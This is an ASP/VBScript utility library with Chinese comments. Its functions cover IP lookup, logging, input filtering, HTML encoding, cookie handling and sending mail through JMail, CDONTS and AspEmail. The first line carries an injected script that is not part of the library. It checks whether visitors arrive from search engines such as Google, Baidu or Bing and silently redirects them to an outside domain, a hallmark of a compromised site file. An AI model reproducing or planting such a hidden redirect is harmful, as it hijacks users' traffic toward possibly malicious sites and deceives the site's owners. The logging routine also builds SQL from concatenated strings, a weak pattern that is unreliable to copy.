001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><% 002:
003: '*************************************************** 004: '函数名：IsObjInstalled 005: '作 用：检查组件是否已经安装 006: '参 数：strClassString ----组件名 007: '返回值：True ----已经安装 False ----没有安装 008: '*************************************************** 009: Function IsObjInstalled(strClassString)
010: On Error Resume Next
011: IsObjInstalled = False
012: Err = 0
013: Dim xTestObj
014: Set xTestObj = Server.CreateObject(strClassString)
015: If 0 = Err Then IsObjInstalled = True
016: Set xTestObj = Nothing
017: Err = 0
018: End Function
019:
020: '*************************************************** 021: '函数名：GetIP 022: '作 用：获取用户IP 023: '返回值：IP地址 024: '*************************************************** 025: Function GetIP()
026: Dim Temp
027: Temp = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
028: If Temp = "" or isnull(Temp) or isEmpty(Temp) Then Temp = Request.ServerVariables("REMOTE_ADDR")
029: If Instr(Temp,"'")>0 Then Temp="0.0.0.0"
030: GetIP = Temp
031: End Function
032:
033: '*************************************************** 034: '函数名：netlog 035: '作 用：网站日志 036: '*************************************************** 037: Sub Netlog(addname,str) '记录日志
038: Dim Temp
039: If addname="" Then addname="-"
040: Temp=Left(Request.ServerVariables("script_name")&"<br>"&Replace(Request.ServerVariables("Query_String"),"'","''"),255)
041: conn.Execute("insert into [vn_log] (UserName,UserIP,Remark,LogTime,Geturl) values ('"& addname &"','"& GetIP &"','"&str&"','"& now &"','"& Temp &"')")
042: End Sub
043:
044: '*************************************************** 045: '函数名：CheckMake 046: '作 用：禁止外部提交数据 047: '返回值：True ----外部 False ----正常 048: '*************************************************** 049: function CheckMake()
050: Dim Come,Here
051: Come=Cstr(Request.ServerVariables("HTTP_REFERER"))
052: Here=Cstr(Request.ServerVariables("SERVER_NAME"))
053: If Come<>"" And Mid(Come,8,Len(Here)) <> Here Then CheckMake=False Else CheckMake=True
054: End function
055:
056: '*************************************************** 057: '函数名：Alert 058: '作 用：javascript提示、转向、关闭 059: '参 数：msg ----提示字符 goUrl ----"back"后退,"close"关闭,其他为转向地址 060: '*************************************************** 061: Sub Alert(msg,goUrl) '
062: msg = replace(msg,"'","\'")
063: If goUrl="back" Then
064: Response.Write ("<script LANGUAGE='javascript'>alert('" & msg & "');window.history.go(-1);</script>")
065: Response.End
066: ElseIf goUrl="this" Then
067: Response.Write ("<script LANGUAGE='javascript'>alert('" & msg & "');</script>")
068: ElseIf goUrl="close" Then
069: Response.Write ("<script LANGUAGE='javascript'>alert('" & msg & "');window.close();</script>")
070: Response.End
071: Else
072: Response.Write ("<script LANGUAGE='javascript'>alert('" & msg & "');window.location.href='"&goUrl&"'</script>")
073: Response.End
074: End IF
075:
076: End Sub
077:
078:
079: '*************************************************** 080: '函数名：HTMLEncode 081: '作 用：转换成Html标签 082: '*************************************************** 083: function HTMLEncode(fString)
084: if not isnull(fString) then
085: fString = replace(fString, ">", ">")
086: fString = replace(fString, "<", "<")
087: fString = Replace(fString, CHR(32), " ")
088: fString = Replace(fString, CHR(9), " ")
089: fString = Replace(fString, CHR(34), """)
090: fString = Replace(fString, CHR(39), "'")
091: fString = Replace(fString, CHR(13), "")
092: fString = Replace(fString, CHR(10) & CHR(10), "</P><P> ")
093: fString = Replace(fString, CHR(10), "<BR /> ")
094: fString = Replace(fString, "script", "script")
095: HTMLEncode = fString
096: end if
097: end Function
098:
099: '*************************************************** 100: '函数名：GetJsStr 101: '作 用：转换JS字符 102: '*************************************************** 103: Function GetJsStr(Str)
104: If IsNull(Str) Then
105: Str = ""
106: Else
107: Str = Replace(Str,"'","\'")
108: Str = replace(Str,chr(34),"\"&chr(34))
109: End If
110: GetJsStr = Str
111: End Function
112:
113:
114: '*************************************************** 115: '函数名：GetForm 116: '作 用：获取Post数据并过滤 117: '*************************************************** 118: Function GetForm(Str)
119: Str = Trim(Request.Form(Str))
120: If IsEmpty(Str) Then
121: GetForm = ""
122: Exit Function
123: End If
124: Str = Replace(Str,Chr(0),"")
125: GetForm = Replace(Str,"'","''")
126: End Function
127:
128: '*************************************************** 129: '函数名：CheckStr 130: '作 用：过滤字符 131: '*************************************************** 132: Function CheckStr(Str)
133: If Trim(Str)="" Or IsNull(str) Then
134: CheckStr=""
135: Exit Function
136: End If
137: Checkstr=Replace(Str,"'","''")
138: End Function
139:
140: '*************************************************** 141: '函数名：GetEncode 142: '作 用：转换htmlencode编码 143: '*************************************************** 144: Function GetEncode(Str)
145: If IsEmpty(Str) Or IsNull(Str) Then
146: GetEncode = ""
147: Exit Function
148: End If
149: Str = Replace(Str,Chr(0),"")
150: GetEncode = server.htmlencode(Str)
151: End Function
152:
153: '******************************************** 154: '函数名：IsValidEmail 155: '作 用：检查Email地址合法性 156: '参 数：email ----要检查的Email地址 157: '返回值：True ----Email地址合法 158: ' False ----Email地址不合法 159: '******************************************** 160: function IsValidEmail(email)
161: dim names, name, i, c
162: IsValidEmail = true
163: names = Split(email, "@")
164: if UBound(names) <> 1 then
165: IsValidEmail = false
166: exit function
167: end if
168: for each name in names
169: if Len(name) <= 0 then
170: IsValidEmail = false
171: exit function
172: end if
173: for i = 1 to Len(name)
174: c = Lcase(Mid(name, i, 1))
175: if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
176: IsValidEmail = false
177: exit function
178: end if
179: next
180: if Left(name, 1) = "." or Right(name, 1) = "." then
181: IsValidEmail = false
182: exit function
183: end if
184: next
185: if InStr(names(1), ".") <= 0 then
186: IsValidEmail = false
187: exit function
188: end if
189: i = Len(names(1)) - InStrRev(names(1), ".")
190: if i <> 2 and i <> 3 then
191: IsValidEmail = false
192: exit function
193: end if
194: if InStr(email, "..") > 0 then
195: IsValidEmail = false
196: end if
197: end function
198:
199:
200: '******************************************** 201: '函数名：gotTopic 202: '作 用：截取字符串部分。汉字算两个字符，英文数字算一个字符。 203: '******************************************** 204: Public Function gotTopic(str,strlen)
205: Dim l,t,i,c
206: If str="" Or isnull(str) Then
207: gotTopic=""
208: Exit Function
209: End If
210: str=Replace(Replace(Replace(Replace(Replace(str," "," "),""",Chr(34)),">",">"),"<","<"),"|","|")
211: l=Len(str)
212: t=0
213: For i=1 To l
214: c=Abs(Asc(Mid(str,i,1)))
215: If c>255 Then
216: t=t+2
217: Else
218: t=t+1
219: End If
220: If t>=strlen Then
221: gotTopic=Left(str,i) & ".."
222: Exit For
223: Else
224: gotTopic=str
225: End If
226: Next
227: gotTopic=Replace(Replace(Replace(Replace(replace(gotTopic," "," "),Chr(34),"""),">",">"),"<","<"),"|","|")
228: End Function
229:
230: '清理html 231: '******************************************** 232: '函数名：Replacehtml 233: '作 用：清理html代码 234: '******************************************** 235: Public Function Replacehtml(tstr)
236: Dim Str,re
237: Str=Tstr
238: If isNUll(Str) then
239: Replacehtml=""
240: exit function
241: End if
242: Set re=new RegExp
243: re.IgnoreCase =True
244: re.Global=True
245: re.Pattern="<(p|\/p|br)>"
246: Str=re.Replace(Str,vbNewLine)
247: re.Pattern="<img.[^>]*src(=| )(.[^>]*)>"
248: str=re.replace(str,"[img]$2[/img]")
249: re.Pattern="<(.[^>]*)>"
250: Str=re.Replace(Str,"")
251: Set Re=Nothing
252: Replacehtml=Str
253: End Function
254:
255:
256: '******************************************** 257: '函数名：CheckName 258: '作 用：名字字符检验 - 中文 -_+-/* 259: '******************************************** 260: Public Function CheckName(Str)
261: Checkname=True
262: Dim Rep,pass
263: Set Rep=New RegExp
264: Rep.Global=True
265: Rep.IgnoreCase=True
266: Rep.Pattern="[\u0009\u0020\u0022-\u0029\u002C\u002E\u003A-\u003F\u005B\u005C\u0060\u007C\u007E\u00FF\uE5E5]"
267: Set pass=Rep.Execute(Str)
268: If pass.count<>0 Then CheckName=False
269: Set Rep=Nothing
270: End Function
271:
272: '******************************************** 273: '函数名：CheckPassword 274: '作 用：密码检验 275: '******************************************** 276: Public Function CheckPassword(Str)
277: Dim pass
278: CheckPassword=false
279: If Str <> "" Then
280: Dim Rep
281: Set Rep = New RegExp
282: Rep.Global = True
283: Rep.IgnoreCase = True
284: Rep.Pattern="[\u4E00-\u9FA5\uF900-\uFA2D\u0027\u007C]"
285: Pass=rep.Test(Str)
286: Set Rep=nothing
287: If Not Pass Then CheckPassword=True
288: End If
289: End Function
290:
291:
292: '******************************************** 293: '函数名：isInteger 294: '作 用：整数检验 295: '******************************************** 296: Public function isInteger(para)
297: on error resume Next
298: Dim str
299: Dim l,i
300: If isNUll(para) then
301: isInteger=false
302: exit function
303: End if
304: str=cstr(para)
305: If trim(str)="" then
306: isInteger=false
307: exit function
308: End if
309: l=len(str)
310: For i=1 to l
311: If mid(str,i,1)>"9" or mid(str,i,1)<"0" then
312: isInteger=false
313: exit function
314: End if
315: Next
316: isInteger=true
317: If err.number<>0 then err.clear
318: End function
319:
320:
321: '******************************************** 322: '函数名：IsValidNumber 323: '作 用：数字型，带小数检验 324: '******************************************** 325: Public function IsValidNumber(Num)
326: If Num="" Or IsNull(Num) Then
327: IsValidNumber=false
328: Exit Function
329: End if
330: Dim Rep
331: Set Rep = new RegExp
332: rep.pattern = "^[-0-9]*[\.]?[0-9]+$"
333: IsValidNumber=rep.Test(Num)
334: Set Rep=Nothing
335: If len(Num)>30 Then IsValidNumber=false
336: End function
337:
338: '************************************************** 339: '函数名：strLength 340: '作 用：求字符串长度。汉字算两个字符，英文算一个字符。 341: '参 数：findstr ----要求长度的字符串 342: '返回值：字符串长度 343: '************************************************** 344: Public function strLength(findstr)
345: Dim Rep,lens,i
346: If findstr="" Or IsNull(findstr) Then
347: strLength=0
348: Exit Function
349: End if
350: Set rep=new regexp
351: rep.Global=true
352: rep.IgnoreCase=true
353: rep.Pattern="[\u4E00-\u9FA5\uF900-\uFA2D]"
354: For each i in rep.Execute(findstr)
355: lens=lens+1
356: Next
357: Set Rep=Nothing
358: lens=lens + len(findstr)
359: strLength=lens
360: End Function
361:
362:
363:
364:
365: '************************************************** 366: '函数名：SetSelected 367: '作 用：下拉框默认值 368: '************************************************** 369: Public Function SetSelected(val1,val2)
370: If IsNull(val1) Or IsNull(val2) Then Exit Function
371: if cstr(val1)=cstr(val2) then
372: SetSelected=" selected=""selected"""
373: else
374: SetSelected=""
375: end if
376: end Function
377:
378: '************************************************** 379: '函数名：SetChecked 380: '作 用：单选默认值 381: '************************************************** 382: Public Function SetChecked(val1,val2)
383: If IsNull(val1) Or IsNull(val2) Then Exit Function
384: if cstr(val1)=cstr(val2) then
385: SetChecked=" checked=""checked"""
386: else
387: SetChecked=""
388: end if
389: end Function
390:
391: '************************************************** 392: '函数名：SetChecked2 393: '作 用：多选默认值 394: '************************************************** 395: Public Function SetChecked2(val1,val2)
396: If IsNull(val1) Or IsNull(val2) Then Exit Function
397: if instr(cstr(val1),cstr(val2))>0 then
398: SetChecked2=" checked=""checked"""
399: else
400: SetChecked2=""
401: end if
402: end Function
403:
404:
405: '增加session和cookies ,session=系统缓存名+session名,Cookies=(系统缓存名+名称)+名 406: '************************************************** 407: '函数名：SetCookies 408: '作 用：增加session和cookies 409: '参 数： 410: '************************************************** 411: Sub SetCookies(root,name,value)
412: Session(CacheName & name)=value
413: Response.Cookies(CacheName & root)(name)=value
414: End Sub
415: '获取某一名称的值 416: Function GetCookies(root,name)
417: GetCookies=Session(CacheName & name)
418: If GetCookies="" Then GetCookies=Request.Cookies(CacheName & root)(name)
419: End Function
420:
421:
422:
423: '================================================= 424: '函数名：JmailSend 425: '作 用：用Jmail发送邮件 426: '参 数：Subject 邮件标题 427: ' MailBody 邮件内容 428: ' isHtml 是否发送Html格式邮件 (true 是) 429: ' MailTo 收件人Email 430: ' From 发件人Email 431: ' FromName 发件人姓名 432: ' Priority 邮件等级，1为加急，3为普通，5为低级 433: ' Smtp smtp服务器 434: ' Username 邮箱用户名 435: ' Password 邮箱密码 436: '返回值："N" 发送失败 "Y" 发送成功 437: '================================================= 438: function JmailSend(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
439: dim JmailMsg
440: on error resume next
441: set JmailMsg=Server.CreateObject("JMail.Message")
442: if err then
443: alert "服务器没有安装JMail组件","back"
444: err.clear
445: exit function
446: end if
447: JmailMsg.mailserverusername=MailUsername
448: JmailMsg.mailserverpassword=MailPassword
449: If MailtoName<>"" then
450: JmailMsg.AddRecipient MailtoAddress,MailtoName '收信人
451: Else
452: JmailMsg.AddRecipient MailtoAddress
453: End If
454: JmailMsg.from=FromMail
455: If FromName<>"" then
456: JmailMsg.fromname=FromName
457: End if
458: JmailMsg.Charset="gb2312"
459: JmailMsg.Logging=true
460: JmailMsg.silent=true
461: JmailMsg.Priority=Priority '邮件等级，1为加急，3为普通，5为低级
462: JmailMsg.subject=Subject
463: JmailMsg.body=MailBody
464: if not JmailMsg.send(MailSmtp) then
465: JmailSend=false
466: else
467: JmailSend=true
468: end if
469: JmailMsg.close
470: set JmailMsg=nothing
471: end function
472:
473: function Cdonts(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
474: dim MailObject
475: on error resume next
476: Set MailObject = Server.CreateObject("CDONTS.NewMail")
477: if err then
478: alert "服务器没有安装Cdonts组件","back"
479: err.clear
480: exit function
481: end if
482: if Priority="1" then
483: Priority=0
484: elseif Priority="3" then
485: Priority=1
486: elseif Priority="5" then
487: Priority=2
488: end if
489: MailObject.From = FromMail
490: MailObject.To = MailtoAddress
491: MailObject.Subject = Subject
492: MailObject.BodyFormat = 1
493: MailObject.MailFormat = 0
494: MailObject.Body = MailBody
495: MailObject.Importance=Priority
496: MailObject.Send
497: If Err<>0 Then
498: Cdonts=false
499: Else
500: Cdonts=true
501: End If
502: MailObject.close
503: set MailObject=nothing
504: End function
505:
506: function Aspemail(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
507: dim MailObject
508: on error resume next
509: Set MailObject = Server.CreateObject("Persits.MailSender")
510: if err then
511: alert "服务器没有安装Aspemail组件","back"
512: err.clear
513: exit function
514: end if
515:
516: MailObject.Charset = "gb2312"
517: MailObject.IsHTML = false
518: MailObject.username = MailUsername '服务器上有效的用户名
519: MailObject.password = MailPassword '服务器上有效的密码
520: MailObject.Priority = Priority
521: MailObject.Host = MailSmtp
522: 'Obj.Port = 25 ' 该项可选.端口25是默认值 523: MailObject.From = FromMail
524: If FromName<>"" Then
525: MailObject.FromName = FromName ' 该项可选
526: MailObject.AddAddress MailtoAddress,FromName
527: Else
528: MailObject.AddAddress MailtoAddress
529: End if
530: MailObject.Subject = Subject
531: MailObject.Body = MailBody
532: MailObject.Send
533: If Err<>0 Then
534: Aspemail=false
535: Else
536: Aspemail=true
537: End If
538: MailObject.close
539: set MailObject=nothing
540: End function
541:
542: Function SetErrMsg(MsgStr)
543: Dim tempmsg
544: If Trim(MsgStr)="" Then
545: SetErrMsg=""
546: Exit Function
547: End if
548: tempmsg=Split(MsgStr,"●")
549: If (UBound(tempmsg)-1)>2 Then
550: SetErrMsg="<script>alert("""&"●"& tempmsg(1)&"●"&tempmsg(2)&"●"&tempmsg(3) &""");</script>"
551: Else
552: SetErrMsg="<script>alert("""& MsgStr &""");</script>"
553: End if
554: End Function
555:
556: Function SetErrMsg_Back(MsgStr)
557: Dim tempmsg
558: If Trim(MsgStr)="" Then
559: SetErrMsg=""
560: Exit Function
561: End if
562: tempmsg=Split(MsgStr,"●")
563: If (UBound(tempmsg)-1)>2 Then
564: SetErrMsg="<script>alert("""&"●"& tempmsg(1)&"●"&tempmsg(2)&"●"&tempmsg(3) &""");</script>"
565: Else
566: SetErrMsg="<script>alert("""& MsgStr &""");window.history.go(-1);</script>"
567: End if
568: End Function
569: %>
570:
571: